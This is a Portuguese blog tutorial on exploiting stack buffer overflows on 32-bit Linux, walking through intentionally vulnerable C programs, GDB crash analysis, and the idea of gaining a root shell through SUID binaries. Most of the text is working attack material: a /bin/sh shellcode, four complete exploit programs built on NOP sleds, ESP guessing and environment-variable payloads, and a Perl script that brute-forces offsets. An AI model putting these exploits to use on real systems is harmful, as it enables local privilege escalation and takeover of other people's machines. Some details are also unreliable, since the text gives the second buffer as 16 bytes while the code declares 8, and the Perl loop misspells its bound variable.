Este tutorial é bem explicativo, de como explorar uma falha em um programa.
Então vamos começar
Stack overflow – esta é uma das técnicas mais fáceis(pelo menos que eu acho).
Não ensinarei a criar shellcodes e essas coisas, sei que e relacionado ao assunto mais segue um caminho totalmente diferente com relação ao que eu quero passar para vocês. Vejam o meu post que eu estou disponibilizando um livro de buffer overflow. Não percam, estou disponibilizando vários livros que eu mesmo estou traduzindo. Dêem uma olhada no blog, e procure sobre alguns dos meus livros.
Introdução
Um processador e formado por uma ULA(Unidade Lógica Aritmética), uma Unidade de Controle e pelos Registradores.
Registradores são pequenas áreas da memória(dentro do processador) que servem para armazenar alguns
dados para serem processados para assim não precisar de ficar pegando e tirando dados da memória! Mais isso tem um poder quanto a limitação. Não pense que esses dados de memórias chegam aos MBytes muito menos aos KBytes… estou falando em registradores de alguns Bits.
Isso nos da uma limitação quando nós carregamos um programa… porque não conseguirmos executar todas as instruções sem a perda de alguns dados… Para isso existe a pilha…
A pilha(stack) é uma forma de ampliar a nossa área de atuação… Ela é uma região da memória que foi separada para armazenar alguns dados do processamento de um programa. Vejamos a utilização de uma função em C:
——————————-
Soma (10, 4);
——————————-
Talves, o processador poderia colocar esses valores nos registradores. mas se fossem numero muito grande ou se o numero que eu quisesse
somar fosse maior que o numero de registradores? Isso ele resolve facilmente…
ele simplesmente empurra (push) esses valores para a pilha… Só que ele não pode
empurrar o 10 e depois o 4 porque a pilha não tem esse nome em vão. Ela tem esse nome justamente porque ela funciona como uma pilha de livros…
Se você colocar um livro em cima da pilha, quando você retirar, você vai tirar o
ultimo que você colocou já que ele esta no topo… Então para processar esses
parâmetros passados e necessários empurrar o 4 e em seguida o 10:
——————————-
push 4
push 10
——————————————————————————————-
Então vamos ao nosso Primeiro programa bugado(vulnerável)
Agora vamos ver como um programa faz para separar uma área de stack para
armazenar um valor! Vamos fazer o seguinte programa em C:
++++++++++++ vuln01.c +++++++++++++++
/*
Primeiro exemplo de programa bugado a stack overflow para o tutoria de Stack Overflow.
Escrito por chuck_newbie, mas em qualquer tutorial e mesma coisa .
chuck_newbie@hotmail.com
*/
#include <stdio.h>
int main(int argc, char *argv[]) {
char buffer[256];
if (argc < 2) {
printf (“Use: %s <string>\n”, argv[0]);
exit(0);
}
strcpy(buffer, argv[1]);
printf (“Você digitou: %s\n”, buffer);
}
++++++++++++++++++++++++++++++++
Esse e um simples programa que separa uma área no stack para armazenar
vários caracteres(no caso foi 256). Em seguida ele pega o primeiro argumento passado
pelo usuário e copia para dentro dessa variável supondo que o usuário não digite
mais que 256.
“Mais que 256”, eu falo isso porque quando você declarou a variável para aceitar até 256 caracteres, o sistema separo espaço no stack para armazenar esse valor..
Então ele disse “essa área vai ser para o variável buffer e ela terá o máximo 256 bytes… ou seja… ninguém mais vai usar ela!” e o resto do sistema não usa esse espaço na memória… mais tem um porem… Ele pode muito bem usar o que tem antes e o que tem depois…
E ele irá usar para armazenar dados importantes para nosso programa.
E se colocar-mos mais, o que aconteceria?
Vamos testar?
————————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc -o vuln01 vuln01.c
newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln01
Use: ./vuln01 <string>
newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln01 chuck_newbie
Você digitou: chuck_newbie
newbie@hostnotfound:~/técnicas/stack_overflow$
————————————-
Agora entendeu como ele funciona? Ele simplesmente pega o valor que eu digitei como parâmetro e copia para dentro da variável buffer! Mais veja o seguinte:
————————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln01 `perl -e ‘print “A”x300;’`
Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$
————————————
Para quem não conhece perl, eu explico; única coisa que eu fiz agora, foi multiplicar o “A” por 300, que o resultado deu trezentos A.
Então, quando eu fiz essa multiplicação, eu mandei esse tanto de “A”, para o programa bugado, e deu erro no nosso programa:
É obvio porque deu ERRO, mais vou explicar. É Porque nós colocamos mais dados no buffer do que ele suportava.
Isso fez com que fosse sobrescrita alguma área de memória importante para o funcionamento do nosso programa.
Essa área nada mais e do que o endereço de retorno da função “strcpy”.
Debugando com o GDB
Vamos usar o programa GDB(GNU Debugger) para saber o que o sistema faz no nosso programa:
——————————–
newbie@hostnotfound:~/tecnicas/stack_overflow$ gdb vuln01
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i486-slackware-linux”…
———————————-
Agora vamos disassemblar a função main
———————————-
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: sub $0×108,%esp
0x080483cd <main+9>: and $0xfffffff0,%esp
0x080483d0 <main+12>: mov $0×0,%eax
0x080483d5 <main+17>: sub %eax,%esp
0x080483d7 <main+19>: cmpl $0×1,0×8(%ebp)
0x080483db <main+23>: jg 0x80483f7 <main+51>
0x080483dd <main+25>: sub $0xc,%esp
0x080483e0 <main+28>: push $0x80484f4
0x080483e5 <main+33>: call 0x80482d0
0x080483ea <main+38>: add $0×10,%esp
0x080483ed <main+41>: sub $0xc,%esp
0x080483f0 <main+44>: push $0×0
0x080483f2 <main+46>: call 0x80482e0
0x080483f7 <main+51>: sub $0×8,%esp
0x080483fa <main+54>: mov 0xc(%ebp),%eax
0x080483fd <main+57>: add $0×4,%eax
0×08048400 <main+60>: pushl (%eax)
0×08048402 <main+62>: lea 0xfffffef8(%ebp),%eax
0×08048408 <main+68>: push %eax
0×08048409 <main+69>: call 0x80482f0
0x0804840e <main+74>: add $0×10,%esp
0×08048411 <main+77>: sub $0×8,%esp
0×08048414 <main+80>: lea 0xfffffef8(%ebp),%eax
0x0804841a <main+86>: push %eax
0x0804841b <main+87>: push $0×8048506
0×08048420 <main+92>: call 0x80482d0
0×08048425 <main+97>: add $0×10,%esp
0×08048428 <main+100>: leave
0×08048429 <main+101>: ret
0x0804842a <main+102>: nop
End of assembler dump.
(gdb)
—————————————-
Vamos tentar entender alguma coisa dai!
Não e necessário saber Tudo.
Vamos começar nas duas primeiras linhas:
—————————————-
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
—————————————-
Esse e o procedimento inicial de qualquer programa C compilado!
continuando:
—————————————
0x080483c7 <main+3>: sub $0×108,%esp
————————————–
Essa instrução subtrai 0×108(264) “ds” posição do stack(Stack Pointer – SP).
Isso serve para declararmos uma posição no stack para uma variável, e essas
coisas.
Podemos observar que existe varias chamadas(calls) para outras partes
da memória… Mais tem um porem na instrução call, você sabe como ela faz
para poder retornar na instrução seguinte?
O que eu quero saber é como o programa sabe em que endereço os “call” foram executados para poder voltar quando terminar de executá-lo!
Simples…
O nome desse endereço, é endereço de retorno(Return Address) e ele ficam armazenados no stack..
Olha que legal!
Então vejamos… Se nos separamos espaço para nossa variável de 256
caracteres e um pouco acima(isso e pilha) separamos um espaço para o
endereço de retorno o que acontece se nos colocarmos mais de 256 caracteres?
Para ficar mais claro veja o esquema?
PILHA
———————————————————————————–
| buffer[256] | mais alguma coisa | endereco de retorno |
———————————————————————————–
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|——————————————————————————->
Percebeu que uma hora nés sobrescrevemos o endereco de retorno?
Entao vamos ver isso na pratica
Vamos imprimir na tela, 272 “AS”, e mandar para nosso programa que está separando 256 bits.
——————————
(gdb) r `perl -e ‘print “A”x272;’`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/newbie/tecnicas/stack_overflow/vuln01 `perl -e ‘print “A”x272;’`
Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0×41414141 in ?? ()
(gdb)
——————————
Deu um erro de segmentação!
porque aonde esta 0×41414141?
—————————–
0×41414141 in ?? ()
—————————–
OBS: quando você estiver estudando este tutorial, baixe o programa debuger, e faça os mesmos teste, pois os resultados que estamos pegando está la.
VOLTANDO..
Você pode estar se perguntado o que isso prova. qual e o valor HEX do
caracteres A ? 0×41 ?
o programa tentou apontar para a posição AAAA da memória!
Se ainda não ficou muito claro vamos ver o seguinte:
——————————
(gdb) r `perl -e ‘print “A”x268 . “ABCD”;’`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/newbie/tecnicas/stack_overflow/vuln01 `perl -e ‘print “A”x268 . “ABCD”;’`
Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAABCD
Program received signal SIGSEGV, Segmentation fault.
0×44434241 in ?? ()
(gdb)
—————————–
Agora ele tentou saltar para o endereço 0×44434241 = BCDA.. Uai, mais eu
Não digitei ABCD no final…
Sim amigo… mais se lembra que no stack o ultimo a entrar e o primeiro a sair?
Nesse caso ele empurro(push) o caractere “D” para o ultimo…
Entao ele foi o primeiro a sair(0×44).. Mais com isso nos só conseguimos fazer
um simples ataque DoS no sistema para killar algum programa e isso não nos interessa
muito! Então o que podemos fazer mais?
Como você percebeu… nós conseguimos alterar para onde o programa saltará.
Então porque não fazemos ele saltar para uma posição da memória que tenha um código
que realmente de para executar?
ta começando a clarear?
Nós podemos executar qualquer código dentro do sistema!
Agora entra um outro assunto mais antes vamos pegar um valor importante para nosso exploit inicial:
a posição da stack(Stack Pointer ou ESP) para fazer nosso exploit inicial. Veremos
que podemos usar um artifício para não precisar de saber esse valor mais inicialmente
é bom saber-mos:
————————
(gdb) info reg esp
esp 0xbffff420 0xbffff420
(gdb)
———————–
Agora vamos ao outro assunto que eu disse agora pouco!
————————————————————————————————–
Programas SUID
Programas SUID são programa que tem o bit mais ativado(chmod +s vuln01)
isso faz com que ele seja executado com as permissões do super usuário(root)..
mais você fica limitado só a esse programa… não adianta tentar colocar ele
em background e digitar ‘id’ esperando um uid=0(root) que você vai se decepcionar!
Aí, que nos entramos…
Se esse programa estiver vulnerável a overflow nós podemos
executar algum código dentro dele… então nós so precisamos de executar um
/bin/sh para abrir uma shell como root… já que o programa que executo ele está
rodando com as permissões do root!
Qual código colocar na memória?
O código que deveremos colocar na memória se chama shellcode(código
de shell)… só q ele deve ser escrito em linguagem de maquina para ser executado!
Veja o post que eu disponibilizo um livro de shellcodes em português. Logo, baixe o livro e estude. O shellcode que nos executaremos e o seguinte:
————————————-
char shellcode[] = “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b” “\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
————————————
Se você assustou, então faça o que eu disse o livro, que você vai entender como criar uma shell.
O que você precisa de saber de ante mão e que esse código faz o mesmo que:
execl(“/bin/sh”,”/bin/sh”,0);
Só que em linguagem de maquina!
Escrevendo o Exploit
Para, aprender a criar um exploit. Veja em um de meus posts que eu estou disponilizando um livro traduzido do metasploit.
Agora que temos a shell, vem a parte mais legal de tudo…
Vamos fazer um programa que explora esse nosso programa fazendo ele executar o nosso shellcode!
O que nos faremos e o seguinte:
Encheremos uma variável com nosso shellcode e com o endereço dele de uma
maneira que esse endereço fique corretamente sobre o endereço de retorno da seguinte
forma:
+—————————-+——————————+———————–
| buffer[256] | mais alguma cosia | retorno |
+————————— +——————————+———————–
| CCCCCCCCCCCCCCCRRRRRRRRRRRRRRRRRRRRRRRRRRRRR|
onde:
C = Nosso shellcode
R = Novo endereço de retorno
O grande problema(agora) é saber para onde apontar já que ele deve apontar
corretamente no inicio do nosso shellcode… então nós teremos que fazer o endereço
de retorno apontar para a posição da pilha(ESP) já que nosso shellcode ficara lá e
em seguida ficar chutando variações(offsets) para tentar fazer ele cair certinho aonde
queremos! Segue o código do exploit bem comentado:
+++++++++++++++++ 1_xpl.c +++++++++++++++++++++
/*
Exploit para o primeiro exemplo de programa bugado a stack overflow
Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial
*/
#define TAM 272 // Tamanho do nosso buffer até ele sobrescrever o ret
#define ESP 0xbffff420 // Posição da pinha que nos pegamos usando o GDB
// Vamos declarar nosso shellcode
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
int main(int argc, char *argv[]) {
char buffer[TAM];
long addr; // Para armazenar o endereço do shellcode
int i;
// Armazenamos o valor do endereço de buffer
addr = ESP;
// Possibilitamos alterar o endereço de retorno para chutar variações(offsets)
if (argc > 1) addr += atoi(argv[1]);
printf(“Novo endereço: 0x%08x\n”, addr);
// Enchemos o buffer com o esp + offset(q se tivermos sorte será aonde está nosso shellcode)
for (i = 0; i < TAM; i += 4)
*(long *)&buffer[i] = addr;
// Agora colocamos o shellcode no inicio dele
memcpy(buffer, shellcode, strlen(shellcode));
// E executamos vuln01 passando nosso buffer maligno como parâmetro
execl(“./vuln01″, “vuln01″, buffer, 0);
}
++++++++++++++++++++++++++++++++++++++++++
Agora vamos ao teste:
———————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 1_xpl.c -o 1_xpl
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl
Novo endereço: 0xbffff420
Você digitou: ë^1ÀFF
(um monte de trosso estranho)
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$
———————————————
Vimos que não deu de cara o inicio já que nosso shellcode não esta no inicio do stack
Então só nos resta ficar chutando offsets de 1 em 1:
——————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 1
Novo endereco: 0xbffff421
Você digitou: ë^1ÀFF
Instrução ilegal
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 2
Novo endereco: 0xbffff422
Você digitou: ë^1ÀFF
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 3
Novo endereço: 0xbffff423
Instrução ilegal
newbie@hostnotfound:~/técnicas/stack_overflow$
——————————————
Isso e trabalhoso, né ? Logo, a função de nós(fucadores) e agilizar nosso trabalho.
Faça o seguinte script em perl:
++++++++++++ exec.pl +++++++++++++++
#!/usr/bin/perl
############################################
# Script[zinhu] para agilizar o chute dos offsets em uso nos exploits #
# Feito por chuck_newbie – chuck_newbie@hotmail.com #
# use: perl exec.pl [programa] [offset inicial] [offset final] [variacao] #
############################################
$prog=$ARGV[0];
$offset_ini=$ARGV[1];
$offset_fim=$ARGV[2];
$offset_int=$ARGV[3];
for ($i = $offset_ini; $i < $off_set_fim; $i += $offset_int) {
printf “Offset: ” . $offset_ini + $i . “\n”;
system(“./$prog $i”);
}
++++++++++++++++++++++++++++++++
Agora vamos testá-lo:
——————————————–
newbie@hostnotfound:~/tecnicas/stack_overflow$ perl exec.pl 1_xpl 1 1000 1
blablablablalba
blablablablablablabla
blablablablablabla
( e depois de varios offsets )
417
Novo endereco: 0xbffff5c1
Você digitou: ë^1ÀFF
sh-2.05b$
——————————————
Executamos o /bin/sh.
Mais percebeu que foi usado o offset 417 ?
Se tivesse que fazer isso na mão quando você acertasse seu filho já conheceria essa
Técnica(supondo que você ainda não tenha nenhum)! Então vamos melhorar nosso
exploit consideravelmente usando um artifício muito bom e utilizado!
Utilizando NOP – No Operation
Um NOP e um comando em ASM que significa No Operation.. ou seja.. ele faz
uma coisa muito importante..NADA!!
O que nós poderíamos fazer é o seguinte:
- Encher nosso buffer com NOPs e depois com nosso shellcode. Isso porque se o
Endereço de retorno cair em algum NOP então ele e executado corretamente
e em seguida passa para o próximo e assim vai ate chegar ao destino?
isso!!!
No nosso querido e amado shellcode! Então nos temos que fazer nosso buffer da seguinte forma!
+—————————-+——————————+———————–
| buffer[256] | mais alguma cosia | retorno |
+————————— +——————————+———————–
| NNNNNNNNNNNCCCCCCCCCCCCCCCRRRRRRRRRRRRRRRRR|
Onde:
N = NOP = 0×90(linguagem de maquina)
C = ShellCode
R = Endereço que sobrescrevera o endereço de retorno
Se você já entendeu vamos parar de falar e vamos ao código… agora, si você não entendeu leia de novo:
+++++++++++++++++ 2_xpl.c +++++++++++++++++++++
/*
Segundo exploit para o primeiro exemplo de programa bugado a stack overflow
Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial
*/
#define TAM 272
#define ESP 0xbffff420
#define NOP 0×90
// Vamos declarar nosso shellcode
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
int main(int argc, char *argv[]) {
char buffer[TAM];
long addr; // Para armazenar o endereço do shellcode
int i;
// Armazenamos o valor do endereço de buffer
addr = ESP;
// Possibilitamos alterar o endereço de retorno para chutar variações(offsets)
if (argc > 1) addr += atoi(argv[1]);
printf(“Novo endereço: 0x%08x\n”, addr);
// Enchemos o buffer com o esp(que pressupomos que e onde esta o shellcode)
for (i = 0; i < TAM; i += 4) {
*(long *)&buffer[i] = addr;
}
// Vamos encher uma parte do buffer com nossos NOPs
for (i = 0; i < TAM – strlen(shellcode) – 24; i++)
buffer[i] = NOP;
printf (“Colocado %d NOPs\n”, TAM – strlen(shellcode) – 24);
// Agora colocamos o shellcode depois dos nops
memcpy(buffer + i, shellcode, strlen(shellcode));
// E executamos vuln01 passando nosso buffer maligno como parâmetro
execl(“./vuln01″, “vuln01″, buffer, 0);
}
++++++++++++++++++++++++++++++++++++++++++
Agora executando:
————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 2_xpl.c -o 2_xpl
newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl
Novo endereco: 0xbffff420
Colocado 203 NOPs
Você digitou: ë^1ÀFF
(lixo)
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$
———————————–
Ainda não… Mais isso era de se esperar.
Mais ele nos deu uma informação importante… Ele nos disse que tem 203 NOPs…
Isso nos possibilita chutar offsets variando de 203 em 203.
Bem melhor do que de um em um.
Vamos tentar na unha mesmo!
———————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 200
Novo endereco: 0xbffff4e8
Colocado 203 NOPs
Você digitou: ë^1ÀFF
Instrução ilegal
newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 400
Novo endereco: 0xbffff5b0
Colocado 203 NOPs
Você digitou: ë^1ÀFF
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 600
Novo endereço: 0xbffff678
Colocado 203 NOPs
Você digitou: ë^1ÀFF
sh-2.05b$ exit
exit
———————————–
Conseguimos com apenas três chutes nos conseguimos fazer o endereço de
retorno apontar para nosso shellcode(pelo menos para um dos 203 NOPs
)!
Vamos agora a mais um passo para facilitar a nossa vida!
Fazendo o exploit pegar o ESP
Um dos maiores problemas de escrever exploits e que as posições de memória
variam de compilação a compilação, de sistema a sistema e de execução a
execuçao! Isso quer dizer que se você fizer um exploit para sua maquina talvez ele não
funfe em outra, porque o endereço do ESP pode ter mudado drasticamente!
Mais graças a Deus podemos usar um artifício para conseguirmos pegar o nosso
Tão querido ESP dentro do nosso exploit… não entrarei em detalhes! Só teste o
seguinte:
+++++++++++ pega_esp.c ++++++++++++++++
unsigned long pega_esp(void) {
__asm__(“movl %ESP, %EAX”);
}
void main() {
printf (“Abracadabra..\nAlacasan…\nE nosso ESP e 0x%08x!\nTchanranram!!!\n\n”,pega_esp());
}
++++++++++++++++++++++++++++++++++
Nossa função pega_esp() só move o vamos do ESP para o registrador EAX que
“por coincidência” e o valor do resultado das funções! Agora compile e execute:
———————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc pega_esp.c -o pega_esp
pega_esp.c: In function `main’:
pega_esp.c:5: warning: return type of `main’ is not `int’
newbie@hostnotfound:~/técnicas/stack_overflow$ ./pega_esp
Abracadabra..
Alacasan…
E nosso ESP e 0xbffff518!
Tchanranram!!!
newbie@hostnotfound:~/técnicas/stack_overflow$
———————————————
Ai esta nosso ESP!!
Agora vamos deixar em embromação e vamos a
escrita de nosso shellcode mais aperfeiçoado ainda:
+++++++++++++++ 3_xpl.c ++++++++++++++++++++++++
/*
Terceiro exploit para o primeiro exemplo de programa bugado a stack overflow
Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial
*/
#define TAM 272
#define NOP 0×90
// Nossa função[zinha] que pega o valor do nosso ESP
unsigned long pega_esp(void) {
__asm__(“movl %ESP, %EAX”);
}
// Vamos declarar nosso shellcode
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
int main(int argc, char *argv[]) {
char buffer[TAM];
long addr; // Para armazenar o endereço do shellcode
int i;
// Armazenamos o valor do endereço de buffer
addr = pega_esp();
// Possibilitamos alterar o endereco de retorno para chutar variações(offsets)
if (argc > 1) addr += atoi(argv[1]);
printf(“Novo endereco: 0x%08x\n”, addr);
// Enchemos o buffer com o esp(que pressupomos que e onde esta o shellcode)
for (i = 0; i < TAM; i += 4) {
*(long *)&buffer[i] = addr;
}
// Vamos encher uma parte do buffer com nossos NOPs
for (i = 0; i < TAM – strlen(shellcode) – 24; i++)
buffer[i] = NOP;
printf (“Colocado %d NOPs\n”, TAM – strlen(shellcode) – 24);
// Agora colocamos o shellcode depois dos nops
memcpy(buffer + i, shellcode, strlen(shellcode));
// E executamos vuln01 passando nosso buffer maligno como parâmetro
execl(“./vuln01″, “vuln01″, buffer, 0);
}
+++++++++++++++++++++++++++++++++++++++++
Da para perceber que a única diferença e que trocamos o valor de ESP que tínhamos
antes pelo valor que acabamos de pegar! Isso facilita para rodar os xpl’s em outros
sistemas! A execução será a mesmo:
———————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 3_xpl.c -o 3_xpl
newbie@hostnotfound:~/técnicas/stack_overflow$ ./3_xpl 600
Novo endereco: 0xbffff650
Colocado 203 NOPs
Você digitou: ë^1ÀFF
(alguns lixo da memória)
sh-2.05b$ exit
exit
———————————-
Espero amigo que esse entendimento tenha ficado bem claro para voce!
Si você quer estudar mais sobre exploração. Então veja os outros posts no meu blog, pois eu tenho 4 lindos livros(metasploit, buffer overflow, shellcode, arquitetura, assembly).
Entre no meu blog e confira as novidades, e veja os posts sobre os livros. Mas, por favor: so baixe o livro si você for realmente estudar. Si não for, não baixe.
Agora, vamos ao mais um obstáculo para nossos estudos. Veja o nosso segundo programa bugado abaixo:
+++++++++++++++++ vuln02.c ++++++++++++++++++++
#include <stdio.h>
int main(int argc, char *argv[]) {
char buffer[8];
if (argc < 2) {
printf (“Use: %s <string>\n”, argv[0]);
exit(0);
}
strcpy(buffer, argv[1]);
printf (“Você digitou: %s\n”, buffer);
}
+++++++++++++++++++++++++++++++++++++++++++
Repare que ele esta vulneravel da mesma forma que o anterior… Só que tem um
grande problema! O buffer só tem 16 bytes e não caberá nem NOPs nem o ShellCode
dentro dele porque o próprio shellcode sobrescrevera o endereço de retorno!
Mais podemos ver perfeitamente que ele esta vulnerável:
————————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc vuln02.c -o vuln02
newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln02
Use: ./vuln02 <string>
newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln02 chuck_newbie
Você digitou: chuck_newbie
newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln02 `perl -e ‘print “A”x30;’`
Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$ ulimit -c 1234567
newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln02 `perl -e ‘print “A”x29 . “BCDE”;’`
Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE
Falha de segmentação (core dumped)
newbie@hostnotfound:~/tecnicas/stack_overflow$ gdb -c core
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i486-slackware-linux”.
Core was generated by `./vuln02 AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE’.
Program terminated with signal 11, Segmentation fault.
#0 0×44434241 in ?? ()
(gdb)
———————————
Podemos ver perfeitamente que nos podemos sobrescrever o endereço de retorno
do programa vulnerável para apontar para outro lugar! Mais não podemos colocar
nosso shellcode com nossos nops nessa variável porque não caberia… Mais eu nunca
disse que eles precisam estar nessa variável! E só colocar ele em qualquer outro
lugar da memória e fazer ele apontar para lá! Um bom lugar seria as variáveis de
ambiente porque elas(quando declaradas no nosso programa) vão para o topo to stack!
Então nosso exploit só precisa de setar uma variável de ambiente com nossos
NOPs e nosso shellcode e fazer o programa bugado apontar para lá, que no caso seria
mais perto to topo do stack do que no exemplo anterior!
Então vamos ao exploit:
++++++++++++++++++++ 1_2_xpl.c +++++++++++++++++++
/*
Exploit para o segundo programa bugado a stack overflow
com um buffer muito pequeno! Desenvolvedor por Chuck_NewBie
chuck_newbie@hotmail.com
*/
#include <stdio.h>
#define ENV_LEN 4096 // Pode ser bem grande q naum tem problema
#define BUF_LEN 32
#define NOP 0×90
unsigned long pega_esp(void) {
__asm__(“movl %esp, %eax”);
}
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
int main(int argc, char *argv[]) {
char *buffer, *var_amb;
int i;
long new_ret;
// Pegamos a posição do stack e adicionamos offsets se desejado
new_ret = pega_esp();
if (argc > 1) new_ret += atoi(argv[1]); // Adiciona offset
// Alocamos espaco para a variável buffer e enchemos soh o o novo endereco
buffer = malloc(BUF_LEN);
if (buffer == NULL) {
fprintf (stderr, “Erro ao alocar memória para o buffer!\n”);
exit(-1);
}
for (i = 0; i <BUF_LEN; i += 4)
*(long *)&buffer[i] = new_ret;
// Agora que o buffer jah ta feito precisamos de criar nossa varaivel de ambiente!
var_amb = malloc(ENV_LEN);
if (var_amb == NULL) {
fprintf (stderr, “Erro ao alocar memória para ambiente!\n”);
exit(-1);
}
// Agora colocas um monte de nops no inicio dela
for (i = 0; i < ENV_LEN – strlen(shellcode) – 1; i++) // -1 porque tem q ter o NULL Char no final
var_amb[i] = NOP;
memcpy(var_amb + i, shellcode, strlen(shellcode)); // Colocamos nosso shellcode logo depois dos nops
var_amb[ENV_LEN] = 0; // Colocamos o NULL Char
setenv(“B4D_R37″, var_amb, 1); // Setamos a varaivel com nome B4D_R37
execl(“./vuln02″, “vuln02″, buffer, 0); // Executamos o programa vulneravel
}
++++++++++++++++++++++++++++++++++++++++++
Não direi nada a respeito do código porque creio eu que ele já esteja bem comentado!
Vamos aos testes:
——————————————————–
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 1_2_xpl.c -o 1_2_xpl
1_2_xpl.c: In function `main’:
1_2_xpl.c:27: warning: assignment makes pointer from integer without a cast
1_2_xpl.c:37: warning: assignment makes pointer from integer without a cast
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_2_xpl
Você digitou: ▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿
sh-2.05b$ exit
exit
newbie@hostnotfound:~/tecnicas/stack_overflow$
——————————————————
